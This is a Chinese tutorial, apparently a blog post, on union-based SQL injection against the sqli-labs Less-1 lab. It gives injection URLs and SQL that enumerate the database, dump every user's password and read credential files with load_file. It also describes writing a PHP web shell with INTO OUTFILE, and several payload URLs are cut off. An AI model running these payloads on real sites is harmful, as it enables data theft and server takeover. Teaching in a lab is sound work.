目录

一、union查询的特性

1.1、特性-1

1.2、特性-2

1.3、特性-3

二、union联合注入

2.1、让sqlib的Less-1页面显示出来2和3

2.2、MySQL中的一些函数

2.3、MySQL中的函数和union的联合使用方法

2.4、group_concat()函数

2.5、使用union和group_concat函数进行sql注入

2.6、分析注入过程

2.7、使用union获取 users 表中的cloumn_name字段名

2.8、使用union获取 user表里字段中的值

三、union注入读写文件

3.1、查看MySQL读写文件的设置

3.2、修改MySQL配置文件,实现任意位置读写

3.3、union注入读取文件(load_file)

3.3.1、读取静态文件

3.3.2、读取PHP文件

3.4、union写入文件into outfile

四、union联合注入总结

4.1、联合注入总结

4.2、文件读写注入总结

声明

此篇文章仅用于研究与学习,请勿在未授权的情况下进行攻击。


一、union查询的特性

UNION联合查询的作用:把多个表中的数据联合在一起进行显示

注意:使用union查询的 select语句必须有用相同数量的字段,同时每条select 语句中的字段顺序必须相同。

第一步:创建两个结构相同的学生表tb_student1与tb_student2

mysql> create table tb_student1(id mediumint not null auto_increment,name varchar(20),age tinyint unsigned default 0,gender enum('男','女'),subject enum('ui','java','yunwei','python'),primary key(id)) engine=innodb default charset=utf8;mysql> insert into tb_student1 values (1,'悟空',255,'男','ui');mysql> insert into tb_student1 values (2,'如来',100,'男','ui');mysql> create table tb_student2(id mediumint not null auto_increment,name varchar(20),age tinyint unsigned default 0,gender enum('男','女'),subject enum('ui','java','yunwei','python'),primary key(id)) engine=innodb default charset=utf8;mysql> insert into tb_student2 values (2,'唐僧',30,'男','yunwei');mysql> insert into tb_student2 values (3,'无天',40,'男','yunwei');

第二步:使用UNION进行联合查询 可以将 tb_student1 表和 tb_student2表中 的两个记录合并到一个表中,一起显示出来。

mysql> select * from tb_student1 union select * from tb_student2;

1.1、特性-1

正常的语句可以都显示出来,我们不按常理出牌,我们把语句ID值改成-1

mysql> select * from tb_student1 where id=-1 union select * from tb_student2 where id=2;

+—-+——–+——+——–+———+

| id | name | age | gender | subject |

+—-+——–+——+——–+———+

| 2 | 唐僧| 30| 男| yunwei|

+—-+——–+——+——–+———+

1 row in set (0.00 sec)

小结:-1是不存在的,所以使用union查询,如果查询不到,但是也不会报错,这里只把查询到的给显示出来了。

1.2、特性-2

mysql> select * from tb_student1 where id=-1 union select 1,2,3,4,5;

+—-+——–+——+——–+———+

| id | name | age | gender | subject |

+—-+——–+——+——–+———+

| 1 | 2 | 3|4| 5 |

+—-+——–+——+——–+———+

2 rows in set (0.00 sec)

select 1,2,3,4,5是什么意思?

首先,select 之后可以接一串数字:1,2,3,4,5只是一个例子,这串数字并不一定要按从小到大排列,也不一定从1开始,如:

111,22,665,99999,553,2 但是要注意,我们这个表中只有5个字段(分别是id,name,age,gender,subject)。我们在这个表中只能查询五个字段。

查询的数字是什么意思?有什么用?

我们知道正常的sql语句是

select * from tb_student1;

小结:select直接加数字时,可以不写后面的表名,那么它输出的内容就是我们select后的数字.

mysql> select 1,2,3,4,5 from tb_student1;

+—+—+—+—+—+

| 1 | 2 | 3 | 4 | 5 |

+—+—+—+—+—+

| 1 | 2 | 3 | 4 | 5 |

+—+—+—+—+—+

1 row in set (0.00 sec)

1.3、特性-3

select * from tb_student1 where id=1 union select * from tb_student1 where id=2;

+—-+——–+——+——–+———+

| id | name | age | gender | subject |

+—-+——–+——+——–+———+

| 1 | 悟空 | 255 | 男 | ui |

| 2 | 如来 | 100 | 男 | ui |

小结:使用UNION进行联合查询相同的表 合并到一个表中,一起显示出来。

二、union联合注入

首先打开浏览器 sqlib第一关

http://192.168.83.144/sqli/Less-1/?id=1

这是我的sqlib,想知道如何下载sqlib的可以去我的上一篇博客去看,连接我放下面了。

(3条消息) 什么是 SQL 注入(SQL injection)_小gao的博客-CSDN博客

第一关数据库中的表为下图所示,我们可以看到有三个字段,分别是id username password

由下图可知,只有两个显示位 id显示的位置并没有显示出来(id显示不出来是因为写的代码就没有让id显示出来,无伤大雅),name password 显示出来了 我们可以利用这两个显示位做一些事,我们给id,name,password编号为123 ,现在我们的需求是让23 显示到页面上。

2.1、让sqlib的Less-1页面显示出来2和3

在HackBar中写入:

http://192.168.83.144/sqli/Less-1/" />

页面没有变化,原因是显示位不够了

我们输入上面的参数,数据库中执行的是:

mysql> select * from users where id =1 union select 1,2,3;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | Dumb | Dumb |

| 1 | 2 |3 |

+----+----------+----------+

2 rows in set (0.00 sec)

结合【1.2、特性-2】 这一小结可知 我们把 id修改成-1 就可以了。

我们先在在数据库中执行:

mysql> select * from users where id =-1 union select 1,2,3;

+----+----------+----------+

| id | username | password |

+----+----------+----------+

| 1 | 2 |3 |

+----+----------+----------+

1 row in set (0.00 sec)

然后在hackbar中运行

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2,3 --+

2.2、MySQL中的一些函数

我们在使用union联合注入的时候需要了解到一些关于MySQL的知识,才能更好的去注入。

  • version() 查询数据库的版本
  • user():查询数据库的使用者
  • database():数据库
  • system_user():系统用户名
  • session_user():连接数据库的用户名
  • current_user:当前用户名
  • @@datadir:读取数据库路径
  • @@basedirmysql安装路径
  • group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据
  • load_file():读取文件
  • into outfile:写入文件
  • ascii() :字符串的ASCII代码值
  • substr():返回字符串的一部分
  • length():返回字符串的长度
  • sleep():让此语句运行N秒钟

2.3、MySQL中的函数和union的联合使用方法

用法也很简单,直接在函数前面加上select

mysql> select database();mysql> select version();

既然select 1,2,3可以显示内容,select database()也能显示内容,那么我们结合起来。

http://192.168.83.144/sqli/Less-1/" />

2.4、group_concat()函数

group_concat()函数功能 where 条件匹配到的多条记录连接成一个字符串。

语法:group_concat (str1, str2,...)

例如:

select table_schema,table_name from information_schema.tables where table_schema='security';

解析一下table_schema和table_name是什么意思,这两个分别表示数据库的库名和具体的表名,也可以理解为表的库名和表的表名。information_schema.tables表示所有数据库的表的集合。

+--------------+------------+

| table_schema | table_name |

+--------------+------------+

| security | emails |

| security | referers |

| security | uagents |

| security | users |

+--------------+------------+

使用group_concat()函数 table_name 表里面所有的内容一起显示出来

select table_schema,group_concat(table_name) from information_schema.tables where table_schema='security';

+--------------+-------------------------------+

| table_schema | group_concat(table_name) |

+--------------+-------------------------------+

| security | emails,referers,uagents,users |

+--------------+-------------------------------+

为什么要使用这个函数?因为Less-1这里显示位只有两个,而我们查到的数据不止2条,我们需求是把所有查到的表都显示出来,所以我们要用group_concat()函数连接起来作为一行显示。

2.5、使用uniongroup_concat函数进行sql注入

23 号显示位替换成我们要查的内容

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,table_schema,group_concat(table_name) from information_schema.tableswhere table_schema ='security' --+

此时我们查询到了 4 个表名称分别是:emails,referers,uagents,users

2.6、分析注入过程

我们看一下Less-1的源码

我们注入是在29行这里 SELECT * FROM users WHERE id='$id' LIMIT 0,1

当前我们构造的SQL语句为

SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database() --+' LIMIT 0,1

红色的部分就是我们构造的sql语句。

数据库中实际执行的sql语句

SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database() --+

注意:--+把后面的' LIMIT 0,1给注释掉了

我们在数据库中测试一下

mysql> SELECT * FROM users WHERE id='-1' union select 1,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database();

+----+----------+-------------------------------+

| id | username | password |

+----+----------+-------------------------------+

| 1 | security | emails,referers,uagents,users |

+----+----------+-------------------------------+

1 row in set (0.00 sec)

发现注入成功。

2.7、使用union获取 users 表中的cloumn_name字段名

我们先在Navicat打开数据库找一下users这个表名:

如果我们要从users 获取column 字段名 sql语句应该这样写

select column_name from information_schema.columns where TABLE_SCHEMA='security' and TABLE_NAME = 'users'

这里的column_name表示:字段名

information_schema.columns表示:所有数据库的字段的集合

此时我们可以看见users表中有三个字段,id,username,password

MySQL数据库中执行

mysql> select table_schema,table_name,column_name from information_schema.columns where table_schema=database() and table_name='users';

+--------------+------------+-------------+

| table_schema | table_name | column_name |

+--------------+------------+-------------+

| security | users | id |

| security | users | username |

| security | users | password |

+--------------+------------+-------------+

group_concat()函数把查询到的字段column_name连接起来

select table_schema,table_name,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users';

+--------------+------------+---------------------------+

| table_schema | table_name | group_concat(column_name) |

+--------------+------------+---------------------------+

| security | users | id,username,password |

+--------------+------------+---------------------------+

1 row in set (0.00 sec)

在浏览器中执行

http://192.168.83.144/sqli/Less-1/" />

我们在user 表中查到三个字段,分别是 id,username,password

下一步就是获取三个字段中的值。

2.8、使用union获取 user表里字段中的值

我们首先navicat中查看user表里字段中的值

在数据库中执行

mysql>select username,password from users;

+----------+------------+

| username | password |

+----------+------------+

| Dumb | Dumb |

| Angelina | I-kill-you |

| Dummy | p@ssword |

| secure | crappy |

| stupid | stupidity |

| superman | genious |

| batman | mob!le |

| admin | admin |

| admin1 | admin1 |

| admin2 | admin2 |

| admin3 | admin3 |

| dhakkan | dumbo |

| admin4 | admin4 |

+----------+------------+

13 rows in set (0.00 sec)

用group_concat()把查询到的users 连接起来

select group_concat(username,password) from users;

在浏览器hackbar中执行

http://192.168.83.144/sqli/Less-1/" />

用户名密码 都连接到一块了,我们可以用逗号分隔

http://192.168.83.144/sqli/Less-1/?id=-1' union select 1,2, group_concat(username,',',password) from users--+

三、union注入读写文件

3.1、查看MySQL读写文件的设置

mysql> show global variables like 'secure%';

+------------------+-----------------------+

| Variable_name | Value |

+------------------+-----------------------+

| secure_auth | ON |

| secure_file_priv | /var/lib/mysql-files/ |

+------------------+-----------------------+

2 rows in set (0.00 sec)

其中secure_file_priv 这一项:

NULL的时候表示禁止读写文件

的时候表示允许读写

为某个路径的时候,表示只能在这个路径进行文件读写

读写文件必备条件:

  1. secure_file_priv=
  2. 必须知道文件的绝对路径
  3. web目录有读写入权限

3.2、修改MySQL配置文件,实现任意位置读写

修改MySQL配置文件

mysql/bin/my.ini

添加一句:

secure_file_priv=

cmd中查看是否为空:

重启生效

3.3、union注入读取文件(load_file)

3.3.1、读取静态文件

MySQL 中读取文件,使用 load_file("文件路径/名称")

http://127.0.0.1:8888/sqli-labs/Less-1/" />

1231213123123就是1.txt的内容

3.3.2、读取PHP文件

http://127.0.0.1:8888/sqli-labs/Less-1/?id=-1' union select 1,2,load_file('C:/XAMPP2/htdocs/sqli-labs/sql-connections/db-creds.inc') --+

读取不到是为什么?

因为我们这个环境是php搭建的,读取php文件的时候就被php程序解析了,db-creds.inc不是php后缀,但是内容是php的。

想解决这个问题怎么办?

很简单,把我们读取到的php文件用hex函数编码一下。(hex函数可以把二进制数据转为16进制字符串)

http://127.0.0.1:8888/sqli-labs/Less-1/" />

我们把读取到的16进制字符串转为文本字符串,可以打开这个网站在线转换

16进制到文本字符串的转换,16进制-BeJSON.com

3.4、union写入文件into outfile

用法 into outfile 语句用于把表数据导出到一个文本文件中

用法: select * from users into outfile "/var/lib/mysql/123.txt";

PHP一句话木马写入到web目录

http://127.0.0.1:8888/sqli-labs/Less-1/" />写入木马后我们可以用webshell 工具连接了。(我这里用的是蚁剑)

访问之前上传的木马,确认文件目录

此时我们就已经连接到了靶机。

四、union联合注入总结

4.1、联合注入总结

  1. 先判断是否有注入点
  2. order by 判断出有几个字段
  3. union select 求显示位
  4. 获取库名 database()
  5. 获取数据库中的表 group_concat(table_name) from information_schema.tables where table_schema=database();
  6. 查询出表中字段名 group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=表名;
  7. 查询字段的值 group_concat(字段名,字段名) from 表名;

4.2、文件读写注入总结

1.secure_file_priv=

2.必须知道文件的绝对路径

3.web目录有读写入权限